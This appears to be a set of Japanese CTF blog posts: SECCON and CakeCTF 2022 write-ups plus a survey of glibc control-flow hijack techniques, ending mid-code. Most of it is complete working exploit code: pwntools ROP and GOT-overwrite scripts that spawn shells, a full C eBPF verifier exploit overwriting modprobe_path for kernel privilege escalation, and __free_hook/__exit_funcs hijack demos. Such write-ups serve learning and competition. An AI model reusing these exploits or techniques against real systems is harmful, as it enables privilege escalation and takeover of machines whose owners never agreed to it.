17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/python3
from pwn import *
import sys

#config
context(os='linux', arch='i386')
context.log_level = 'debug'

FILE_NAME = "chall.ptc"
#FILE_NAME = "chall"

#"""
HOST = "koncha.seccon.games"
PORT = 9001
"""
HOST = "localhost"
PORT = 7777
#"""

if len(sys.argv) > 1 and sys.argv[1] == 'r':
conn = remote(HOST, PORT)
else:
conn = process(FILE_NAME)

elf = ELF(FILE_NAME)
#
libc = ELF('./lib/libc.so.6')
off_binsh = next(libc.search(b"/bin/sh"))
off_system = libc.symbols["system"]
off_dust = 0x7ffff7fc82e8 - 0x7ffff7dd7000
off_rdi_ret = 0x23b6a
off_only_ret = 0x23b6a+1

def align2qword(s):
if len(s) > 8:
print("[ERROR] align2qword: argument larger than 8bytes")
exit()
return u64(s+b'\x00'*(8-len(s)))

def exploit():
# rbp-0x30

conn.sendlineafter("?\n", "")
conn.recvuntil(", ")
libc_dust = align2qword(conn.recvuntil("!")[:-1])
libc_base = libc_dust - off_dust
print(hex(libc_dust))
print(hex(libc_base))

payload = b"A"*0x58
payload += p64(libc_base+off_only_ret)
payload += p64(libc_base+off_rdi_ret)
payload += p64(libc_base+off_binsh)
payload += p64(libc_base+off_system)
conn.sendlineafter("?\n", payload);
conn.interactive()

if __name__ == "__main__":
exploit()

 

babypf

eBPFに脆弱なパッチがあたっている

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
diff --git a/linux-5.19.12/kernel/bpf/verifier.c b/linux-5.19.12-patched/kernel/bpf/verifier.c
index 3391470611..44af26055b 100644
--- a/linux-5.19.12/kernel/bpf/verifier.c
+++ b/linux-5.19.12-patched/kernel/bpf/verifier.c
@@ -8925,10 +8925,8 @@ static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env,
break;
case BPF_LSH:
if (umax_val >= insn_bitness) {
- /* Shifts greater than 31 or 63 are undefined.
- * This includes shifts by a negative number.
- */
- mark_reg_unknown(env, regs, insn->dst_reg);
+ /* Shifts greater than 31 or 63 results in 0. */
+ mark_reg_known_zero(env, regs, insn->dst_reg);
break;
}
if (alu32)
@@ -8938,9 +8936,7 @@ static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env,
break;
case BPF_RSH:
if (umax_val >= insn_bitness) {
- /* Shifts greater than 31 or 63 are undefined.
- * This includes shifts by a negative number.
- */
- mark_reg_unknown(env, regs, insn->dst_reg);
+ /* Shifts greater than 31 or 63 results in 0. */
+ mark_reg_known_zero(env, regs, insn->dst_reg);
break;
}
if (alu32)

シフト演算にでbit長を超えるシフト演算をすると検証器はその値を未定義(unknown)にするところを
定数0にしている。
これをどうやってLPEするか

自分は開催前に作問者yudaiさん作のpawnyableを履修していたので
やることは大体わかった。

最終的なcのexploitコードもこの演習で使ったものの流用なのでヘルパーとかかなり酷似しているがご勘弁いただきたい
というか以下の解説もほぼpawnyableの受け売りでしたわ

脆弱なコードの実行

まずは脆弱なコードを実行させるところだが

即値で演算をしてみる

1
2
BPF_ALU32_IMM(BPF_RSH, BPF_REG_8, 32),
BPF_ALU64_IMM(BPF_RSH, BPF_REG_8, 64),

みたいなことをすると検証器に怒られたので
レジスタを経由してみる

1
2
BPF_MOV64_IMM(BPF_REG_4, 32),
BPF_ALU32_REG(BPF_LSH, BPF_REG_8, BPF_REG_4),

検証器のログをチェックするとちゃんと定数になっている

22: (6c) w8 <<= w4 ; R4_w=32 R8_w=0

ちなみにパッチがあたっていないとちゃんと未定義になる

22: (6c) w8 <<= w4 ; R4_w=32 R8_w=scalar(umax=4294967295,var_off=(0x0; 0xffffffff))

0と1を誤認させる

検証器の悪用するにあたってこれが大事らしい
32bitレジスタで1を32bit LSHすると1になるのでこれは簡単に作れる
ちなみにパッチのコメントにある通り負数でもこれは作れて(-1)bitシフトしても壊れてくれる

検証器が0と思っているが実際は1みたいな状況を作れると
乗算すると、任意の値を検証器は0と勘違いしてくれる

skb_load_bytesを利用したAAR/AAW

詳しくはpawnyable 6章も書いているが
skb_load_bytesを利用してoverflowを引き起こすことができる。
検証器は1byteの書き込みだから許すけど本当は9bytes書き込むよ的な感じ

もう一つ大事なことでBPFスタックにはポインタを保存できて
かつその値の追跡も行ってくれる。(完全な受け売り)
そのためBPFスタックに定数を保存したBPFスタックのアドレスを格納して、
skb_load_bytesのオーバーフローでアドレスの下位1bytesを書き換えても
検証器はまだそこに定数を保存したアドレスがあると勘違いするので
AARが作れる。

以下のダンプはこれを利用してBPFスタック周辺をリークしてみた様子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
0x000: ffffffffb3d4fdf5
0x008: ffff97adc36b6600
0x010: 00000000b4000c67
0x018: 0000000000400cc0
0x020: ffffac53c018fcd8
0x028: 0000000000000000
0x030: ffff97adc3754400
0x038: ffffffffb3accc09
0x040: ffffac53c018fdd8
0x048: ffffffffb3d91b3b
0x050: ffff97adc3754800
0x058: ffff97adc3767700
0x060: ffffac53c018fcb0
0x068: ffffffffc034b725
0x070: ffffac53c0095000
0x078: ffff97adc3754400
0x080: 0000000000000001
0x088: 0000000000000001
0x090: 4141414141414141
0x098: ffffac53c018fc98
0x0a0: 0000000000000000
0x0a8: 0000000000000000
0x0b0: ffffac53c018fd10
0x0b8: ffffffffb3d8babf
0x0c0: ffffac53c018fd10
0x0c8: ffffffffb3d5839d
0x0d0: 0000000000000282
0x0d8: ffff97adc3767700
0x0e0: 0000000000000009
0x0e8: ffffac53c018fdc8
0x0f0: ffff97adc3754800
0x0f8: ffff97adc3754400

オフセット0x90をoverflowさせてオフセット0x98のポインタを壊している
オフセット0xb8とかはカーネルのアドレスっぽいのでここからカーネルのベースアドレスを特定する。

AAWも同じ原理で、検証器はスタックのアドレスだと思っている値を任意のアドレスにすることで
AAWが作れる。exploitではmodprobe_pathを利用した

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
#include <linux/bpf.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include "bpf_insn.h"

unsigned long kernel_base = 0;
unsigned long addr_heap = 0;

unsigned long off_target = 0xffffffffb298babf - 0xffffffffb2400000;
unsigned long off_modprobe = 0xffffffffbd238340 - 0xffffffffbc400000;

void fatal(const char *msg)
{
perror(msg);
exit(1);
}

int bpf(int cmd, union bpf_attr *attrs)
{
return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
}

int map_create(int val_size, int max_entries)
{
union bpf_attr attr = {
.map_type = BPF_MAP_TYPE_ARRAY,
.key_size = sizeof(int),
.value_size = val_size,
.max_entries = max_entries
};
int mapfd = bpf(BPF_MAP_CREATE, &attr);
if(mapfd < 0) fatal("bpf(BPF_MAP_CREATE)");
return mapfd;
}

int map_update(int mapfd, int key, void* pval) {
union bpf_attr attr = {
.map_fd = mapfd,
.key = (uint64_t)&key,
.value = (uint64_t)pval,
.flags = BPF_ANY
};

int res = bpf(BPF_MAP_UPDATE_ELEM, &attr);
if(res < 0) fatal("bpf(BPF_MAP_UPDATE_ELEM)");
return res;
}

int map_lookup(int mapfd, int key, void *pval)
{
union bpf_attr attr = {
.map_fd = mapfd,
.key = (uint64_t)&key,
.value = (uint64_t)pval,
.flags = BPF_ANY
};

return bpf(BPF_MAP_LOOKUP_ELEM, &attr);
}

unsigned long leak_address(int mapfd) {
char verifier_log[0x10000];
unsigned long val;

struct bpf_insn insns[] = {
BPF_MOV64_REG(BPF_REG_7, BPF_REG_ARG1),
BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x8, 0), // fp_x8 key=0
BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -8),
BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // map_lookup_elem(mapfd, &key)
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),

BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),
BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_9, 0),

BPF_MOV64_IMM(BPF_REG_4, -1),

// r8 = 0 / real 1
BPF_ALU32_REG(BPF_LSH, BPF_REG_8, BPF_REG_4),
BPF_ALU64_IMM(BPF_RSH, BPF_REG_8, 31),

// r8 = 1 / real 0x10
BPF_ALU64_IMM(BPF_MUL, BPF_REG_8, 0x9-1),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 0x1),

BPF_MOV64_IMM(BPF_REG_3, 1),
BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -0x28),
BPF_MOV64_REG(BPF_REG_3, BPF_REG_FP),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -0x28),
BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_3, -0x18),
BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x20), // arg4 = fp-0x20

BPF_MOV64_IMM(BPF_REG_ARG2, 0),
BPF_MOV64_REG(BPF_REG_ARG4, BPF_REG_8),
BPF_MOV64_REG(BPF_REG_ARG1, BPF_REG_7),
BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),

BPF_LDX_MEM(BPF_DW, BPF_REG_9, BPF_REG_FP, -0x18),
BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_9, 0),

// map_update_elem
BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x8, 0), // [fp-0x8]=0(key)

BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_8, -0x10), // [fp-0x10]=r2
BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd), // arg1 = mapfd
BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x8), // arg2 = fp-0x8
BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x10), // arg3 = fp=010
BPF_MOV64_IMM(BPF_REG_ARG4, 0),
BPF_EMIT_CALL(BPF_FUNC_map_update_elem),

BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
};

union bpf_attr prog_attr = {
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
.insn_cnt = sizeof(insns) / sizeof(insns[0]),
.insns = (uint64_t) insns,
.license = (uint64_t)"GPL v2",
.log_level = 2,
.log_size = sizeof(verifier_log),
.log_buf = (uint64_t)verifier_log,
};

int progfd = bpf(BPF_PROG_LOAD, &prog_attr);
if (progfd == -1) {
printf("%s\n", verifier_log);
fatal("bpf(BPF_PROG_LOAD)");
}
printf("%s\n", verifier_log);

int socks[2];
if(socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))
fatal("socketpair");
if(setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)))
fatal("setsockopt");


int i;
char payload[0x10];
*(unsigned long*)&payload[0] = 0x4141414141414141;
for(i = 0; i < 0x100; i+=8) {
val = 1;
map_update(mapfd, 0, &val);
payload[0x8] = i;
write(socks[1], payload, 0x9);
map_lookup(mapfd, 0, &val);

printf("0x%03lx: %016llx\n", i, val);
if(i == 0xb8)
kernel_base = val - off_target;
}
printf("kbase = %016llx\n", kernel_base);
return val;
}

void aaw64(int mapfd, unsigned long addr, unsigned long data) {
char verifier_log[0x10000];
unsigned long val;

struct bpf_insn insns[] = {
BPF_MOV64_REG(BPF_REG_7, BPF_REG_ARG1),
BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x8, 0), // fp_x8 key=0
BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -8),
BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // map_lookup_elem(mapfd, &key)
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),

BPF_MOV64_REG(BPF_REG_9, BPF_REG_0), // r9 = mapaddr
BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_9, 0), // r8 = &map[0]

BPF_MOV64_IMM(BPF_REG_4, -1),

// r8 = 0 / real 1
BPF_ALU32_REG(BPF_LSH, BPF_REG_8, BPF_REG_4),
BPF_ALU64_IMM(BPF_RSH, BPF_REG_8, 31),

// r8 = 1 / real 0x10
BPF_ALU64_IMM(BPF_MUL, BPF_REG_8, 0x10-1),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 0x1),


BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_9, -0x18), // [fp-0x18] = mapaddr
BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x20), // arg3 = fp-0x20

BPF_MOV64_IMM(BPF_REG_ARG2, 0), // arg2 = 0
BPF_MOV64_REG(BPF_REG_ARG4, BPF_REG_8), // arg4 = len(1/0x10)
BPF_MOV64_REG(BPF_REG_ARG1, BPF_REG_7), // arg1 = skb
BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),

BPF_LDX_MEM(BPF_DW, BPF_REG_9, BPF_REG_FP, -0x18), // r9 = [fp-0x18]

BPF_MOV64_IMM(BPF_REG_1, data >> 32),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, data & 0xffffffff),
BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_1, 0), // [fp-0x28] = data

BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
};

union bpf_attr prog_attr = {
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
.insn_cnt = sizeof(insns) / sizeof(insns[0]),
.insns = (uint64_t) insns,
.license = (uint64_t)"GPL v2",
.log_level = 2,
.log_size = sizeof(verifier_log),
.log_buf = (uint64_t)verifier_log,
};

int progfd = bpf(BPF_PROG_LOAD, &prog_attr);
if (progfd == -1) {
printf("%s\n", verifier_log);
fatal("bpf(BPF_PROG_LOAD)");
}
printf("%s\n", verifier_log);

int socks[2];
if(socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))
fatal("socketpair");
if(setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)))
fatal("setsockopt");

int i;
char payload[0x10];
*(unsigned long*)&payload[0] = 0x4141414141414141;
*(unsigned long*)&payload[8] = addr;
val = 1;
map_update(mapfd, 0, &val);
write(socks[1], payload, 0x10);
map_lookup(mapfd, 0, &val);
printf("target = 0x%016llx\n", addr);
//read(socks[0], payload, 0x10);
}


int main()
{
int mapfd = map_create(0x8, 2);
int socks[2];
unsigned long d = 0x6d6b2f706d742f; // /tmp/km
leak_address(mapfd);
aaw64(mapfd, kernel_base+off_modprobe, d);

// after overwrite modprobe_path
system("touch /tmp/flag");
system("echo -e '\\xff\\xff\\xff\\xff' > /tmp/invalid");
system("chmod u+x /tmp/invalid");
system("echo '#!/bin/sh\n cat /root/flag.txt > /tmp/flag' > /tmp/km ");
system("chmod u+x /tmp/km");
system("/tmp/invalid");

return 0;
}

おわり

10solves問題解けたから褒めたいけど、他のpwnが全然解けてないのでダメです

解きたい問題解けなくて悲しかった
久々にフルメンバーで参加して楽しかった

運営の方、チームメンバーありがとうございマス!

CakeCTF2022にKUDoSで参加して9位でした。
楽しさと悔しさと糸井重里

目次

misc

C-Sandbox

朝方に手をつけてかなり限界だったので何が禁止されているのかは調べてない。
とりあえずbring your own gadgetする。
flagからも第一の想定解だったと思う

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/python3
from pwn import *
import sys

#config
context(os='linux', arch='i386')
context.log_level = 'debug'

HOST = "misc.2022.cakectf.com"
PORT = 10099

conn = remote(HOST, PORT)

src = """
char binsh[] = "/bin/sh";
char **argv = {binsh, 0};
static void win()
{
unsigned long a= 0x9007eb00404038be;
unsigned long b= 0x9008eb00404030bf;
unsigned long c= 0x9090900aebd23148;
unsigned long d= 0x90050f3bb0c03148;
printf("%lx",a);
printf("%lx",b);
printf("%lx",c);
printf("%lx",d);
};
int main()
{
unsigned long ptr[2];
unsigned long tmp;
tmp = ptr[5] - 0x24083; // libc address(not used)
ptr[5] = (unsigned long)(win+10);
return 0;
}
EOF
"""
def exploit():
conn.sendlineafter("input)\n", src)
conn.recvuntil("Running...\n")
conn.interactive()

if __name__ == "__main__":
exploit()

discordでも解法大喜利始まってたので、まあ色々できるよね

rev

nimrev

eqString()の引数的にflagの長さは0x18
eqString()で呼ばれるequalMem_system_1735にbreakを仕掛けたら
gdbくんが教えてくれた

1
2
3
4
5
6
equalMem_system_1735 (
$rdi = 0x00007ffff7d55060 -> 'AAAABBBBCCCCDDDDAAAABBBB',
$rsi = 0x00007ffff7d560e0 -> 'CakeCTF{s0m3t1m3s_n0t_C}',
$rdx = 0x0000000000000018,
$rcx = 0x00007ffff7d55060 -> 'AAAABBBBCCCCDDDDAAAABBBB'
)

luau

lua問

https://github.com/viruscamp/luadec
↑でダメdecompileがうまくいかねぇ〜と思ってたら
https://sourceforge.net/projects/unluac/
@Lorse氏が違う方法での変換コードを貼ってくれたのでそれを元に進める

decode.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

unsigned char table[38] = {62,85,25,84,47,56,118,71,109,0,90,71,115,9,30,58,32,101,40,20,66,111,3,92,119,22,90,11,119,35,61,102,102,115,87,89,34,34};
unsigned char key[] = "CakeCTF 2022";
unsigned char flag[0x100] = {0};

void main()
{
int i;
for(i = 0; i < 38; i++){
flag[38-i-1] = key[i%strlen(key)] ^ table[i];
}
puts(flag);
}

zundamon

revパートだけ担当
source()内で/dev/input/以下の何かを入力として通信するタイプのマルウェアの問題
普通にgdbで実行するとデーモン化の処理でforkしている関係かうまくデバッグできないので
デーモン化する箇所をnopで書き換えてデバッグ

デバッグの結果/dev/input/event2が選択されていて、自分の環境でevent2はキーボードの入力だとわかった

キーボードの入力送っているわ〜ってdiscordに投げたら@Lorse氏からすぐflagが返ってきた

kiwi

ゴリ押しで暗号化処理を解読する。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/python3
from pwn import *
import sys

#config
context(os='linux', arch='i386')
context.log_level = 'debug'

HOST = "misc.2022.cakectf.com"
PORT = 10044

conn = remote(HOST, PORT)

def exploit():
size = 0x40
payload = "01f389fbd70c"
payload += "02"
payload += '%02x'%size
for i in range(size):
payload += '%02x'%(0xff^i)
payload += "00"
conn.sendlineafter(": ",payload)
conn.recvuntil("flag: ")
e_flag = conn.recvline()[:-1]
print(bytes.fromhex(str(e_flag,'utf-8')))
conn.interactive()

if __name__ == "__main__":
exploit()

pwn

str.vs.cstr

_c_strのoverflowで_strのポインタを書き換えAAWが作れる
__stack_chk_fail@gotをwinに書き換え

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/usr/bin/python3
from pwn import *
import sys

#import kmpwn
sys.path.append('/home/vagrant/kmpwn')
from kmpwn import *

#config
context(os='linux', arch='i386')
context.log_level = 'debug'

FILE_NAME = "./chall"
#"""
HOST = "pwn1.2022.cakectf.com"
PORT = 9003
"""
HOST = "localhost"
PORT = 7777
#"""

if len(sys.argv) > 1 and sys.argv[1] == 'r':
conn = remote(HOST, PORT)
else:
conn = process(FILE_NAME)

elf = ELF(FILE_NAME)
addr_win = 0x4016ee
got_stack_chk_fail = elf.got["__stack_chk_fail"]
only_ret = 0x40101a

def write_cstr(data):
conn.sendlineafter(": ", "1")
conn.sendlineafter(": ", data)

def read_cstr():
conn.sendlineafter(": ", "2")

def write_str(data):
conn.sendlineafter(": ", "3")
conn.sendlineafter(": ", data)

def read_str():
conn.sendlineafter(": ", "4")

def exploit():
payload = b"A"*0x20
payload += p64(got_stack_chk_fail)
payload += p64(0x8)
payload += p64(0x8)
write_cstr(payload)
write_str(p64(only_ret)[:3])

payload = b"\x00"*0x68
payload += p64(addr_win)
write_cstr(payload)

conn.sendlineafter(": ", "99")

conn.interactive()

if __name__ == "__main__":
exploit()

welkerme

ついにwarmupにカーネル問が
と思ったが本当に初歩的な問題で丁寧な誘導もあるので全然warmup向きの問題。

exploit.c(抜粋)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static void priv_escalation() {
char* (*pkc)(int) = prepare_kernel_cred;
void (*cc)(char*) = commit_creds;
(*cc)((*pkc)(0));
}

int main(){
int fd = open("/dev/welkerme", O_RDWR);
if( fd < 0){
err_exit("fuck");
}
ioctl(fd, CMD_EXEC, priv_escalation);
system("/bin/sh");
return 0;
}

smal arey

AAWとstack領域を割と自由に書き換えれるので
exit@gotをpopx3_retみたいなgadgetにすると
いい感じにropに持ち込める

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#!/usr/bin/python3
from pwn import *
import sys

#import kmpwn
sys.path.append('/home/vagrant/kmpwn')
from kmpwn import *
# fsb(width, offset, data, padding, roop)
# sop()
# fake_file()

#config
context(os='linux', arch='i386')
context.log_level = 'debug'

FILE_NAME = "./chall"
#"""
HOST = "pwn1.2022.cakectf.com"
PORT = 9002
"""
HOST = "localhost"
PORT = 7777
#"""

if len(sys.argv) > 1 and sys.argv[1] == 'r':
conn = remote(HOST, PORT)
else:
conn = process(FILE_NAME)

elf = ELF(FILE_NAME)
got_exit = elf.got["exit"]
got_setbuf = elf.got["setbuf"]
plt_printf = elf.plt["printf"]
addr_start = elf.symbols["_start"]
rdi_ret = 0x004013e3
pop3_ret = 0x004013de
only_ret = 0x4013e4

#
libc = ELF('./libc-2.31.so')
off_setbuf = libc.symbols["setbuf"]
off_system = libc.symbols["system"]
off_binsh = next(libc.search(b"/bin/sh"))

def overwrite(idx, n):
conn.sendlineafter(": ", str(idx))
conn.sendlineafter(": ", str(n))


def exploit():
conn.sendlineafter(": ", "5")
overwrite(4,200)
overwrite(0,only_ret)
overwrite(1,only_ret)
overwrite(2,only_ret)
overwrite(3,pop3_ret)
#overwrite(4,size)
#overwrite(5,n)
#overwrite(6,arr)
overwrite(7,only_ret)
overwrite(8,rdi_ret)
overwrite(9,got_setbuf)
overwrite(10,plt_printf)
overwrite(11,addr_start)

overwrite(6,got_exit)
overwrite(0,rdi_ret)
conn.sendlineafter(": ", "201")

libc_setbuf = align2qword(conn.recv(6))
libc_base = libc_setbuf - off_setbuf
print(hex(libc_base))

conn.sendlineafter(": ", "5")
overwrite(4,200)
overwrite(0,rdi_ret)
overwrite(1,libc_base+off_binsh)
overwrite(2,libc_base+off_system)
conn.sendlineafter(": ", "201")

conn.interactive()

if __name__ == "__main__":
exploit()

crc32pwn

解けなかった。
ulimitとか/proc/系のファイルでどうにかするのか〜とか疑ってたけど全然違った。
readがst_size分指定しないのかなり怪しいな〜とは思ってたが知識不足って感じ。
反省

おまけ

いつまで経っても脱初心者〜中堅帯を脱出できてなく、かつソロチーム、他の日本勢に結構負けてるのがマジでだめ
がんばります
thanks 一緒に参加してくれたチームメイト
@Lorse @ta1yak1 @k1zuna

KUDoSハイライト

同じ問題解いてて、なぜかチーム内で競走してた図

はじめに

基本的にCTF用
glibc2.34でmalloc_hook, free_hookが消されたのもあって
今何が使えるのかよくわからんくなってたのでまとめてみた。
別に新しい手法の紹介では全くなく、既出を調べただけ。
多分これ以外にももっと使えるシンボルあると思うんで、こっそり教えてくれたら追記します。

検証ではアドレスリークや任意アドレスの書き込みの手段がすでにあるという前提の
擬似exploitになっている。
target関数が直接呼び出さずに実行されていることをもって、RIPが制御できているみたいな感じで読んでほしい。

また環境は、基本的に検証時点での最新版のglibc2.35で行い、
2.35で動かないもの、消されてたシンボルについては2.31で検証した。

目次

_free_hook / _malloc_hook

2.34でシンボルが消された
そのため < 2.34の環境で動く(2.31までは少なくとも確認済み)

みんな大好き_free_hook
条件次第では8bytesの書き換えでシェルまで取れるのはやっぱり便利だった。

手順

説明不要な気がするが、シンボルを呼び出したい関数アドレスに書き換えてmalloc/freeを呼ぶだけ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <stdio.h>
#include <stdlib.h>
// differ in each environment
unsigned long off_puts = 0x84450;
unsigned long off_malloc_hook = 0x1ecb70;
unsigned long off_free_hook = 0x1eee48;

void target1(unsigned long arg1)
{
printf("In target1(): arg1=0x%lx\n", arg1);
return;
}

void target2(unsigned long arg1)
{
printf("In target2(): arg1=0x%lx\n", arg1);
return;
}

void main()
{
printf("Start of main()\n");

void* libc_base = &puts - (unsigned long)off_puts;
printf("libc_base = %p\n",libc_base);
void* ptr_malloc_hook = libc_base+off_malloc_hook;
void* ptr_free_hook = libc_base+off_free_hook;

// normal
char* ptr = malloc(0x400);
free(ptr);

// overwrite symbols
*(unsigned long*)ptr_malloc_hook = target1;
*(unsigned long*)ptr_free_hook = target2;

malloc(0xff); // exploit
free(ptr); // exploit

puts("End of main()");
return;
}
1
2
3
4
5
6
$ ./malloc_free_hook 
Start of main()
libc_base = 0x7f3714205000
In target1(): arg1=0xff
In target2(): arg1=0x5583524a16b0
End of main()

上記は2.31環境での動作確認。

参考

__exit_funcs / pointer_guard

ver2.35で動作確認済み

手順

__exit_funcsというstruct exit_functions_listを指すポインタを書き換えて
いい感じの関数テーブルを用意する。
するとexit()やmain関数からのreturn時に呼ばれるrun_exit_handler()内で関数が呼ばれるが
この時PTR_DEMANGLEでror 0x11とxorの操作があるので関数ポインタはあらかじめエンコードされた値を格納しておく。
xorする値はstack canaryと同様のTLS領域に格納されているのでこの値をリークまたは書き換える必要がある。
第一引数を隣接するアドレスで指定できるのはとても良い。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include <stdio.h>
#include <stdlib.h>
// differ in each environment
unsigned long off_puts = 0x80ed0;
unsigned long off_tls = 0x7ffff7d8a740 - 0x7ffff7d8d000;
unsigned long off_exit_funcs = 0x7ffff7fa6838 - 0x7ffff7d8d000;

#define ENC_FUNC(ptr,pg) ((ptr^pg)<<0x11|(ptr^pg)>>(0x40-0x11))

void target1(unsigned long arg1)
{
printf("In target1(): arg1=0x%lx\n", arg1);
return;
}

void target2(unsigned long arg1)
{
printf("In target2(): arg1=0x%lx\n", arg1);
return;
}

void main()
{
printf("Start of main()\n");

void* libc_base = &puts - (unsigned long)off_puts;
printf("libc_base = %p\n",libc_base);
void* tls = libc_base + off_tls;
printf("tls = %p\n",tls);
void* exit_funcs = libc_base + off_exit_funcs;
printf("exit_funcs = %p\n",exit_funcs);

// prepare for exploit
unsigned long fake_pointer_guard = 0xdeadbeef;
void* fake_exit_function_list = malloc(0x200);

*(unsigned long*)(fake_exit_function_list + 0x0) = 0; // next
*(unsigned long*)(fake_exit_function_list + 0x8) = 2; // idx (number of functions)
*(unsigned long*)(fake_exit_function_list + 0x10) = 4; // fns[0].flavor
*(unsigned long*)(fake_exit_function_list + 0x18) =
ENC_FUNC((unsigned long)target1,fake_pointer_guard); // fns[0].func.fn
*(unsigned long*)(fake_exit_function_list + 0x20) = 0x12345678; // fns[0].func.arg
*(unsigned long*)(fake_exit_function_list + 0x30) = 4; // fns[1].flavor
*(unsigned long*)(fake_exit_function_list + 0x38) =
ENC_FUNC((unsigned long)target2,fake_pointer_guard); // fns[1].func.fn
*(unsigned long*)(fake_exit_function_list + 0x40) = 0x9abcdef0; // fns[1].func.arg

// overwrite symbols
